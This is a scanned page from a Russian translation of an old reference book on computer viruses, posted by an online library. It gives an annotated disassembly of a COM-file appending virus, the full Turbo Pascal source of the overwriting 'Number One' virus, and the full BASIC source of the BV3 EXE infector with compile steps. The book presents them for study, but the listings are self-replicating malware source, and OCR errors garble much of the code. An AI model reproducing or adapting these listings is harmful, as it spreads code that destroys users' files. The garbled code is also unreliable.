Купить
 
 
Жанр: Учеба

Большой справочник по компьютерным вирусам

страница №16

--------¬
¦ ¦ ¦ 08A3. INT 21 (*UPRO*)
¦ ¦ L-----------------T----------------
¦ ¦ -------------------+---------------¬
¦ ¦ ¦ 0815. MOV AX,3D02 ¦ Открыть канал
¦ ¦ ¦ 0818. MOV DX,001F ¦ ввода/вывода для
¦ ¦ ¦ ¦ файла
¦ ¦ ¦ 0818. NOP ¦
¦ ¦ ¦ 0810. ADD DX,SI ¦
¦ ¦ L------------------T----------------
¦ ¦ -------------------+---------------¬
¦ ¦ ¦ 081E. INT 21 (*UPRO*)
¦ ¦ L------------------T----------------
¦ ¦ /-----------------+---------------\
¦ ¦ -"-J:0820. JNB 0825 " Ошибок нет---"
¦ ¦ ¦ \-----------------T :N------------/
¦ ¦ ¦ ------------------+---------------¬
¦ --¦-¦"--¦ 0822. JMP 08CA ¦ Завершить програм-
¦ ¦ ¦ ¦ L-----------------T---------------- му-вирус
¦ ¦ ¦ L--"------------------¦
¦ ¦ ¦ -------------------+---------------¬
¦ ¦ ¦ ¦ 0825. MOV BX,AX ¦ Запросить время
¦ ¦ ¦ ¦ 0827. MOV AX,5700 ¦ генерации
¦ ¦ ¦ L------------------T----------------
¦ ¦ ¦ ¦
¦ ¦ ¦
¦ ¦ ¦ -------------------+---------------¬
¦ ¦ ¦ ¦ 0824. INT 21 (*UPRO*)
¦ ¦ ¦ L------------------T----------------
¦ ¦ ¦ -------------------+---------------¬
¦ ¦ ¦ ¦ 0820. MOV [SI+0004],CX ¦ Сохранить время,
¦ ¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ 0830. MOV [SI+0006],DX ¦ Считать текущее
¦ ¦ ¦ ¦ 0834. MOV AH,2C ¦ время системы
¦ ¦ ¦ L------------------T----------------
¦ ¦ ¦ -------------------+---------------¬
¦ ¦ ¦ ¦ 0836. INT 21 (*UPRO*)
¦ ¦ ¦ L------------------T----------------

- 208 -


¦ ¦ ¦ -------------------+---------------¬
¦ ¦ ¦ ¦ 0838. ADD DH,07 ¦ Сек.=x0,X8,x9?
¦ ¦ ¦ L------------------T---------------- (x=0,...,5)
¦ ¦ ¦ /----------------+---------------\
¦ ¦ ¦ -"--J:083B. JNZ 084D " Нет:--"
¦ ¦ ¦ ¦ \----------------T :N------------/
¦ ¦ ¦ ¦ -------------------+---------------¬
¦ ¦ ¦ ¦ ¦ 083D. MOV AH,40 ¦ Записать 5 байтов,
¦ ¦ ¦ ¦ ¦ ¦ начиная с позиции
¦ ¦ ¦ ¦ ¦ ¦ 0983, в файл.
¦ ¦ ¦ ¦ ¦ 0836. MOV CX,0005 ¦ Задание на выпол-
¦ ¦ ¦ ¦ ¦ ¦ нение манипуля-
¦ ¦ ¦ ¦ ¦ 0842. MOV DX,SI ¦ ций ?!)
¦ ¦ ¦ ¦ ¦ 0844. ADD DX,008A ¦
¦ ¦ ¦ ¦ L------------------T----------------
¦ ¦ ¦ ¦ -------------------+---------------¬
¦ ¦ ¦ ¦ ¦ 0848. INT 21 (*UPRO*)
¦ ¦ ¦ ¦ L------------------T----------------
¦ ¦ ¦ ¦ -------------------+---------------¬ Завершить
¦--¦-¦-¦"-¦ 084A. JM 08B1 ¦ "задание на
¦¦ ¦ ¦ ¦ L------------------T---------------- выполнение мани-
¦¦ ¦ ¦ L--"------------------¦ пуляций"
¦¦ ¦ ¦ -------------------+---------------¬
¦¦ ¦ ¦ ¦ 084D. MOV AH,3F ¦ Считать первые 3
¦¦ ¦ ¦ ¦ ¦ байта после
¦¦ ¦ ¦ ¦ 084F. MOV CX,0003 ¦ 09E4-09E5
¦¦ ¦ ¦ ¦ 0852. MOV DX,000A ¦
¦¦ ¦ ¦ ¦ 0855. NOP ¦
¦¦ ¦ ¦ ¦ 0856. ADD DX,SI ¦
¦¦ ¦ ¦ L------------------T----------------
¦¦ ¦ ¦ -------------------+---------------¬
¦¦ ¦ ¦ ¦ 0858. INT 21 (*UPRO*)
¦¦ ¦ ¦ L------------------T----------------
¦¦ ¦ ¦ /------------------+--------------\
¦¦-¦-¦-"- J:085A. JB 08B1 " Ошибка?

¦¦ ¦ ¦ \ -----------------T :N-----------/ Да:---"
¦¦ ¦ ¦ -------------------+---------------¬
¦¦ ¦ ¦ ¦ 085C. CMP AX,0003 ¦ Считаны все 3
¦¦ ¦ ¦ L------------------T---------------- байта?

- 209 -


¦¦ ¦ ¦ /-------------------+--------------\
¦¦-¦-¦-" J: 085F. JNZ 08B1 " Нет? Ошибка
¦¦ ¦ ¦ \-------------------T :N ----------/ ---"
¦¦ ¦ ¦ ¦
¦¦ ¦ ¦ --------------------+---------------¬
¦¦ ¦ ¦ ¦ 0861. MOV AX,4202 ¦ Установить ука-
¦¦ ¦ ¦ ¦ 0864. MOV CX,0000 ¦ затель чтения/
¦¦ ¦ ¦ ¦ 0867. MOV DX,00000 ¦ записи на конец
¦¦ ¦ ¦ L-------------------T---------------- файла
¦¦ ¦ ¦ --------------------+---------------¬
¦¦ ¦ ¦ ¦ 086A. INT 21 (*UPRO*)
¦¦ ¦ ¦ L-------------------T----------------
¦¦ ¦ ¦ /-------------------+--------------\
¦¦-¦-¦-"-J: 086C. JB 08B1 " Ошибка:---"
¦¦ ¦ ¦ \-------------------T :N-----------/
¦¦ ¦ ¦ --------------------+--------------¬
¦¦ ¦ ¦ ¦ 086E. MOV CX,AX ¦ DX:AX длина файла
¦¦ ¦ ¦ ¦ 0870. SUB AX,0003 ¦
¦¦ ¦ ¦ ¦ 0873. MOV SI+000E,AX ¦ AX-3= переход
¦¦ ¦ ¦ ¦ ¦ ---" вирус
¦¦ ¦ ¦ ¦ 0877. ADD CX,02F9 ¦ Прежняя длина
¦¦ ¦ ¦ ¦ ¦ +2F9
¦¦ ¦ ¦ ¦ 087B. MOV DI,SI ¦ DI указывает на
¦¦ ¦ ¦ ¦ ¦ DATA
¦¦ ¦ ¦ ¦ 087D. SUB DI,01F7 ¦ (0701.MOV DX,...)
¦¦ ¦ ¦ ¦ ¦ DX,...)
¦¦ ¦ ¦ ¦ 0881. MOV DI,,CX ¦
¦¦ ¦ ¦ ¦ 0883. MOV AH,40 ¦ Записать файл.
¦¦ ¦ ¦ ¦ 0885. MOV CX,0288 ¦ Длина вируса.
¦¦ ¦ ¦ ¦ 0888. MOV DX,SI ¦ DX=стартовый
¦¦ ¦ ¦ ¦ ¦ адрес текущего
¦¦ ¦ ¦ ¦ 088A. SUB DX,01F9 ¦ вируса
¦¦ ¦ ¦ L------------------T----------------
¦¦ ¦ ¦ -------------------+---------------¬
¦¦ ¦ ¦ ¦ 088E. INT 21 (*UPRO*)
¦¦ ¦ ¦ L------------------T----------------
¦¦ ¦ ¦ /-----------------+---------------\
¦¦-¦-¦-"- J:0890. JB 08B1 " Ошибка?---"
¦¦ ¦ ¦ \-----------------T :N------------/

- 210 -


¦¦ ¦ ¦ -------------------+----------------¬
¦¦ ¦ ¦ ¦ 0892. CMP AX,0288 ¦ Записаны все
¦¦ ¦ ¦ L------------------T----------------- байты вируса ?
¦¦ ¦ ¦ /-----------------+---------------\
¦¦-¦-¦-"- J: 0895. JNZ 08B1 " Нет: ошибка---"
¦¦ ¦ ¦ \-----------------T :N------------/
¦¦ ¦ ¦ -------------------+---------------¬
¦¦ ¦ ¦ ¦ 0897. MOV AX,4200 ¦ Позиционирование
¦¦ ¦ ¦ ¦ 089A. MOV CX,0000 ¦ на начало файла
¦¦ ¦ ¦ ¦ 089D. MOV DX,0000 ¦
¦¦ ¦ ¦ L------------------T----------------
¦¦ ¦ ¦ -------------------+---------------¬
¦¦ ¦ ¦ ¦ 08A0. INT 21 (*UPRO*)
¦¦ ¦ ¦ L------------------T----------------
¦¦ ¦ ¦ /-----------------+--------------\
¦¦-¦-¦-"-J:08A2. JB 08B1 " Ошибка?---"
¦¦ ¦ ¦ \-----------------T :N-----------/
¦¦ ¦ ¦ -------------------+---------------¬
¦¦ ¦ ¦ ¦ 08A4. MOV AH,40 ¦ Записать новый
¦¦ ¦ ¦ ¦ 08A6. MOV CX,0003 ¦ вектор перехода
¦¦ ¦ ¦ ¦ 08A9. MOV DX,SI ¦ по 010H
¦¦ ¦ ¦ ¦ 08AB. ADD DX,000D ¦
¦¦ ¦ ¦ L------------------T----------------
¦¦ ¦ ¦ -------------------+---------------¬
¦¦ ¦ ¦ ¦ 08AF. INT 21 (*UPRO*)
¦¦ ¦ ¦ L------------------T----------------
¦L-¦-¦----------------------¦
¦ ¦ ¦ -------------------+---------------¬
¦ ¦ ¦ ¦ 08B1. MOV DX,SI+0006 ¦ Выбрать прежнее
¦ ¦ ¦ ¦ ¦ время создания
¦ ¦ ¦ ¦ ¦ файла
¦ ¦ ¦ ¦ 08B5. MOV CX,,SI+0004 ¦
¦ ¦ ¦ ¦ 08B9. ADD CX,FFE0 ¦
¦ ¦ ¦ ¦ 08BD. OR CX,001F ¦ Установить иденти-
¦ ¦ ¦ ¦ 08C1. MOV AX,5701 ¦ фикатор "31/30"
¦ ¦ ¦ L------------------T----------------
¦ ¦ ¦ -------------------+---------------¬
¦ ¦ ¦ ¦ 08C4. INT 21 (*UPRO*)
¦ ¦ ¦ L------------------T----------------

- 211 -


¦ ¦ ¦ -------------------+---------------¬
¦ ¦ ¦ ¦ 08C6. MOV AH,3E ¦ Закрыть файл
¦ ¦ ¦ L------------------T----------------
¦ ¦ ¦ -------------------+---------------¬
¦ ¦ ¦ ¦ 08C8. INT 21 (*UPRO*)
¦ ¦ ¦ L------------------T----------------
¦ L-¦--"-------------------¦
¦ ¦ -------------------+---------------¬
¦ ¦ 08CA. MOV AX,4301 ¦ Вновь установить
¦ ¦ 08CC. MOV CX,,SI+0008 ¦ прежние атрибуты
¦ ¦ 08D1. MOV DX,001F ¦
¦ ¦ 08D4. NOP ¦
¦ ¦ 08D5. ADD DX,SI ¦
¦ L------------------T----------------
¦ -------------------+---------------¬
¦ ¦ 08D7. INT 21 (*UPRO*)
¦ L------------------T----------------
¦ --------------------+---------------¬
¦ ¦ 08D9. PUSH DS ¦ Вновь установить
¦ ¦ 08DA. MOV AH,1A ¦ прежнюю область
¦ ¦ 08DC. MOV DX,,SI+0000 ¦ DTA
¦ ¦ 08E0. MOV DS,,SI+0002 ¦
¦ L-------------------T----------------
¦ --------------------+---------------¬
¦ ¦ 08E4. INT 21 (*UPRO*)
¦ L-------------------T----------------
¦ --------------------+---------------¬
¦ ¦ 08E6. POP DS ¦
¦ L-------------------T----------------
L----"----------------------¦
--------------------+---------------¬
¦ 08E7. POP CX ¦ Переход в приклад-
¦ 08E8. XOR AX,AX ¦ ную программу для
¦ 08EA. XOR BX,BX ¦ 0100h
¦ 08EC. XOR DX,DX ¦
¦ 08EE. XOR SI,SI ¦
¦ 08F0. MOV DI,0100 ¦
¦ 08F3. PUSH DI ¦
¦ 08F4. XOR DI,DI ¦

- 212 -


L-------------------T----------------
--------------------+---------------¬
¦ 08F6. RET FFFF (*LEAVE*)
L------------------------------------
08F9 80 00 37 30; Область сохранения DTA(область
передачи данных диска)
08FD 04 40 54 08 ; Прежнее время/даты создания файла
0901 23 00 ; Атрибут файла
0903 EB 08 18 ; Байты (100h - 102h) исходного COM-файла
0906 Е9 FD 05 ; 3 новых байта (JMP вируса!)
0909 24 2E 43 4F 4D 00 [*.COM]
090F 1C 00 ; Начало записей имен пути доступа
0911 40 78 ; Указательна начало имени файла
0913 50 41 54 48 3D [PATH=]
0918 44 45 4D 4F 55 4E 54 2E 43 4F 4D 00 [DEMOUNT.COM.]
( 20 20 20 .. )
0958 xx xx .. ; DTA программа-вируса
0983 20 20 20 20 20

10.2 Вирусы на Паскале

Язык высокого уровня Паскаль, а особенно Турбо-Паскаль, в
силу своей близости к машинному языку предоставляет отличные
возможности для написания программ-вирусов. Правда, недостатком
его является то, что компилятор Паскаля не берет файлы длиной
менее 12 Кбайт. Но поскольку для целей отладки размер программы
значения не имеет, Турбо-Паскаль вполне пригоден для того, чтобы
уяснить принципиальную структуру вирусов.
В качестве примера здесь приводится перезаписвающая программа-вирус
на Паскале. Эти коды время от времени пересылались через
различные "почтовые ящики". Здесь программа публикуется в своей
первоначальной форме с комментариями, составленными ее автором М.
Валленом.

{
-----------------------------------------------------------------

Number One

- 213 -


This is a very primitiv computer virus.

HANDLE WITH CARE! ----------- demonstration ONLY!

Number One infect all.COM-file in the CURRENT directory.
A warning message and the infected file's name will be displayed.
That file has been overwritten with Number One's programm
code and is not reconstructable!
If all file s are infected or no .COM-files found, Number
One gives you a "Smile".
Files may be protected against infections of Number One by
setting the READ ONLY attribute.
Written 10.3.1987 by M.Vallen (Turbo-Pascal 3.01a)
© 1987 by BrainLab
---------------------------------------------------------------------
}
{C-}
{U-}
{I-} { Do not allow an user Break, enable 10 check}
{--Constants----------------------------------------------------}
Const
VirusSize = 12027; { Number One's code size }
Warning : String [42] { Warning massage }
= 'This file has been infected by Number One's;

{--Type declaration----------------------------------------------}
Type
DTARec = Record { Date area for }
DOSnext : Array 1...21 of Byte; { file search }
Attr : Byte;
FTime,
FDate,
FLsize,
FHsize : Integer;
FullName : Array 1...13 of Char;
End;
Registers = Record {Register set useed for file search}
Case Byte of

- 214 -


1: ( AX, BX, CX, DX, BP, SI, DI, DS, ES,Flags: Integer);
2: ( AL, AH, BL, BH, CL, CH, DL, DH : Byte);
End;
{--Variables------------------------------------------------------}
Var
ProgramStart : Byte absolute Cseg: $180; {Memory offset of program code}
{Infection marker}

MarkInfected : String 42 absolute Cseg: $180;
Reg : Register; { Register set}
DTA : DTARec; { Date area}

Buffer :Array [Byte] of Byte; { Date buffer}
TestID : String 42; {To recognize infected files}
UsePath : String 66; { Path to search files}
{Length of search path}
UsePathLength: Byte absolute UsePath;
Go : File; { File to infect}
B : Byte; { Used }

--Program code-------------------------------------------------------

Begin
WriteLn(Warning); {Display Warning massage}
GetDir(0,UsePath); { Get current directory}

if Post ('\', UsePath ) "" UsePathLengt then
UsePath:= UsePath + '\';
UsePath:= UsePath + '*.COM'; { Define search mask}
Reg.AH := $1A; { Set date area}
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg);
UsePath Succ(UsePathLength):=0; Path must end with =0
Reg.AH := $4e;
Reg.DS := Seg(UsePath);
Reg.DX := Ofs(UsePath 1);
Reg.CX :=$ff; {Set attribut to find ALL files}
MsDos(Reg); { Find the first matching entry}

Посмотри в окно!

Чтобы сохранить великий дар природы — зрение, врачи рекомендуют читать непрерывно не более 45–50 минут, а потом делать перерыв для ослабления мышц глаза. В перерывах между чтением полезны гимнастические упражнения: переключение зрения с ближней точки на более дальнюю.

- 215 -


If not Odd(Reg.Flags) Then { If a file found then...}
Repeat
UsePath:=DTA.FullName;
B := Pos(#0,UsePath);
If B" 0 Then
Delete (UsePath,B,255); { Remove garbage}
Assign(Go, UsePath);
Reset(GO);
If IOresult=0 {If not error then}
Begin
BlockRead(Go,Buffer,2);
Move(Buffer $80,TestID, 43);
{Test if file is already infected}
If TestID"" Warning then { If not, then}
Begin
Seek(Go,0);
{Mark file as infected and...}
MarkInfected:= Warning;
{ Infected it}
BlockWrite(Go,PrograStart,Succ(VirusSize shr 7));
Close(Go);
{ Say what has been done}
WriteLn(UsePath +' infected.');
Halt; {... and HALT the program}
End;
Close(Go);
End;
{The file has already been infected, search next}
Reg.AH:=$4F;
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg)
{... Until no more files found}
Until Odd(Reg.Flags);
Write('"Smile"'); { Give a smile}
End.

Примечение переводчика. Комментарии к данной программе,
видимо, не нуждаются в переводе, а потому далее приводится лишь

- 216 -


перевод "шапки" программы:

(Это весьма примитивный компьютерный вирус.
ОБРАЩАТЬСЯ С ОСТОРОЖНОСТЬЮ! --- Только для демонстрации!
Number One внедряется во все СОМ-файлы каталога CURRENT!
Сообщения пользователю и имена инфицированных файлов выдаю-
тся на дисплей.
Инфицированные файлы перезаписываются кодами программы
Number One и не могут быть восстановлены!
Если все файлы заражены или если СОМ-файлов не найдено,
программа выдаст Вам "улыбку".
Файлы можно защитить от проникновения вируса путем установки
атрибута "только чтение".)

Характеристики программы

Этот перезаписывающий вирус ведет себя так же, как и описанный
в разделе 10.1. Правда, он не оказывает никакого действия на
EXE-файлы. Кроме того, эта программа не так эффективна, поскольку,
во-первых, имеет длину около 12 Кбайт и, во-вторых, изменяет
записи даты создания файлов. К тому же вирус не может преодолеть
атрибут "только чтение".
Каталог перед вызовом программы-вируса:

Katalog von A:\

DEBUG COM 15611 4-22-85 12:00p
DISKCOM COM 4121 4-22-85 12:00p
DISKCOPY COM 4425 4-22-85 12:00p
3 Dateien 330752 Bytes frei
Каталог после вызова программы примет следующий вид:

Katalog von A:\

DEBUG COM 15611 7-13-87 8:06p
DISKCOM COM 4121 4-22-85 12:00p
DISKCOPY COM 4425 4-22-85 12:00p
3 Dateien 330752 Bytes frei


- 217 -


Тот, кто обратил внимание на эти записи, сразу уже заметить
изменение в указании даты создания файлов. Изменения еще более
заметны, если вызвать самый короткий файл.

Katalog von A:\

DEBUG COM 15611 7-13-87 8:06p
DISKCOM COM 12032 7-13-87 8:09p
DISKCOPY COM 4425 4-22-85 12:00p
3 Dateien 32584 Bytes frei

Правда, при полном заражении запоминающей среды это не карается
дефектными секторами. Вирус просто сигнализирует об этом
"улыбкой".

10.3 Вирусы на Бейсике

Хотя многие сегодняшние специалисты в языках программирования
начинали с Бейсика, программисты , работающие на Бейсике,
частенько подвергаются насмешкам. Однако этот язык позволяет создавать
очень эффективные программы-вирусы.
В качестве первого примера приведем программу, которая использует
определенные особенности операционной системы MS-DOS и в
состоянии поражать ЕХЕ-файлы, будучи перезаписывающим вирусом.
При этом распечатку нужно скомпилировать, затем сравнить длину
скомпилированного и связанного ЕХЕ-файла, заново отредактировать
исходную программу и установить переменную VIRLENGTH (длина вируса)
на длину скомпилированной программы. Теперь нужно еще раз
скомпилировать исходную программу и перезаписывающий вирус готов.
Для того, чтобы из этой программы-вируса получить неперезаписывающий
вирус, можно, например, с помощью APPEND в конец инфицированной
программы считать имя соответствующей оригинальной программы
и затем запросить эту оригинальную программу с помощью SHELL
PRGname.
Но для этого нужно иметь соответствующий компилятор.
Для таких программ нужно помнить следующее:

1. Файл BV3.EXE должен находиться в актуальном каталоге.
2. Должен быть достижим файл COMMAND.COM, чтобы можно было

- 218 -


выполнить команду SHELL.
3. Переменная LENGTHVIR (длина вируса) должна быть установлена
на длину связанной программы (связывание необходимо
выполнить дважды).
4. Для компилятора Microsoft-Quick_basic должен использоваться
ключ /е.

10 REM *************************************************
20 REM *** Демонстрационный вирус BV3.BAS ***
30 REM *** Автор Р.Бургер 1987 ***
40 REM *************************************************
50 ON ERROR GO TO 670
60 REM *** параметр
70 REM *** должен быть установлен
80 REM *** на длину связанной программы
90 LENGTHVIR=2641
100 VIRROOT$="BV3.EXE"
110 REM *** записать в файл "INH"
120 REM *** содержимое каталога
130 SHELL "DIR *.exe inh"
140 REM *** Открыть файл "INH" и считать имена
150 OPEN "R",1,"inh",32000
160 LINE INPUT#1, ORIGINAL$
170 LINE INPUT#1, ORIGINAL$
180 LINE INPUT#1, ORIGINAL$
190 LINE INPUT#1, ORIGINAL$
200 LINE INPUT#1, ORIGINAL$
210 ON ERROR GO TO 670
220 CLOSE = 2
230 F=1: LINE INPUT#1, ORIGINAL$
240 REM ** "%"- это байт идентификатора BV3
250 REM *** "%" в имени означает:
260 REM *** существует уже инфицированная копия
270 IF MID$(ORIGINAL$,1,13) "%" THEN GO TO 210
280 ORIGINAL$= MID$(ORIGINAL$,1,13)
290 EXTENSION$=MID$(ORIGINAL$,9,13)
300 MID$(EXTENSION$,1,1)"."
310 REM *** Составить имена в имена файлов

- 219 -


320 F=F+1
330 IF MID$(ORIGINAL$,F,1)=" " OR MID$(PROGONAL$,F,1)="."
OR F=13 THEN GO TO 350
340 GO TO 320
350 ORIGINAL$= MID$(ORIGINAL$,1,F-1) + EXTENSION$
360 ON ERROR GO TO 210
365 TEST$=''
370 REM *** открыть найденный файл
380 OPEN 'R',2, ORIGINAL$, LENGTHVIR
390 IF LOF(2) LENGTHVIR THEN GO TO 420
400 GET =2,2
410 LINE INPUT=2,TEST$
420 CLOSE
430 REM *** Проверить, инфицирован ли уже файл
440 REM *** "%" в конце фала означает:
450 REM *** файл уже инфицирован
460 IF MID$(TEST$,2,1)="%" THEN GO TO 210
470 CLOSE=1
480 ORIGINAL$=ORIGINAL$
490 MID$(ORIGINAL$,1,1)="%"
500 REM *** сохранить "здоровую" программу
510 C$="COPY"+ORIGINAL$+" "+ORIGINAL$
520 SHELL C$
530 REM *** скопировать вирус в "здоровую" программу
540 C$="COPY"+VIRROOT$+ORIGINAL$
550 SHELL C$
560 REM*** добавить идентификатор вируса
570 OPEN ORIGINAL$ FOR APPEND AS =1 LEN=13
580 WRITE=1,ORIGINAL$
590 CLOSE=1
630 REM*** Выдать сообщение
640 PRINT "Инфекция на ";ORIGINAL$;"! Опасность!
650 SYSTEM
660 REM*** Сообщение вируса об ошибке
670 PRINT "VIRUS internal ERROR": SYSTEM

Характеристики программы

Этот вирус в отличие от ранее описанных поражает только ЕХЕ-

- 220 -


файлы. Для того, чтобы увидеть его отличие от других программ,
нужно подробно рассмотреть его распространение.
Каталог перед вызовом программы:

Katalog von A:\

SORT EXE 1664 4-22-85 12:00p
SHARE EXE 8304 4-22-85 12:00p
SUBST EXE 16627 4-22-85 12:00p
BV3 EXE 2641 7-13-87 8:27p
4 Dateien 325632 Bytes frei

Каталог после вызова программы:

Katalog von A:\

SORT EXE 2655 7-22-85 8:43p
SHARE EXE 8304 4-22-85 12:00p
SUBST EXE 16627 4-22-85 12:00p
BV3 EXE 2641 7-13-87 8:27p
INH 277 7-13-87 8:43p
%ORT EXE 1664 4-22-85 12:00p
6 Dateien 321536 Bytes frei

Здесь появился новый файл INH, в котором находится содержимое
каталога, а также файл %ORT.EXE. Файлы, начинающиеся с "%",
являются копиями сохранения исходного программного обеспечения.
Эти копии могут использоваться для возможного распространения
программ, чтобы сделать из этой программы неперазаписывающий
вирус. Программы с "%" в имени более не поражаются вирусом, потому
переименование программ защищает от этого вируса точно так же,
как и длина программы, точно соответствующая LENGTHVIR.
Но это вряд ли применимые на практике способы защиты от
вируса. При полном "заражении" всех файлов каталога выдается
сообщение об ошибке, поскольку возникающие ошибки "перехватываются"
лишь частично.


10.4 Вирусы в виде командного файла


- 221 -


Собственно создать программу-вирус можно на уровне команд
ЭВМ. Для этого используется командный файл, с помощью которого
можно вызывать как резидентные, так и нерезидентные функции операционной
системы. Параметры резидентного вызова передаются в
таком командном файле в командной строке, параметры же нерезидентных
программ стоят внутри списка операторов. Этот листинг, представляющий
программу-вирус длиной лишь в 8 (АСНТ) строк, которая
вряд ли может быть более компактной, использует (как показывает
приведенная в разделе 10.3 написанная на Бейсике программа) также
некоторые особенности операционной системы МS-DOS.
Кроме того, в качестве нерезидентных программ используются
DEBUG и EDLIN. Управление этими программами осуществляется по
нескольким спискам операторов.

10.5 Вирусы в исходных кодах
Приведенные выше вирусы, за исключением оформленного в
виде командного файла вируса, должны компилироваться, чтобы
получить возможность их запуска. Но "инфекция" может проникать
и в исходные коды интерпретируемых программ, что подтверждает
приведенная ниже распечатка неперезаписывающего вируса,
написанного на Бейсике. Основные элементы здесь заимствованы
из программы, приведенной в разделе 10.3. Для того
чтобы не увеличивать без надобности исходную программу, была
выбрана не совсем обычная стратегия. Программа-вирус в этой
форме выполняется не безошибочно. Для того чтобы выполнить
ее инсталляцию без каких-либо затрат, нужно заменить строку
"9999 RUN" на "9999 STOP" и запустить вирус. Но это изменение
нельзя выполнить внутри интерпретатора и записать в память.
Затем инфицированная программа рассматривается как
программа-носитель.
Обоснование:
В строке 9999 инфицированной программы записан вызов исходной
программы. Поскольку в сам вирус на это

Список страниц

Закладка в соц.сетях

Купить

☏ Заказ рекламы: +3805044-68-872

© Ассоциация электронных библиотек Украины

☝ Все материалы сайта (включая статьи, изображения, рекламные объявления и пр.) предназначены только для предварительного ознакомления. Все права на публикации, представленные на сайте принадлежат их законным владельцам. Просим Вас не сохранять копии информации.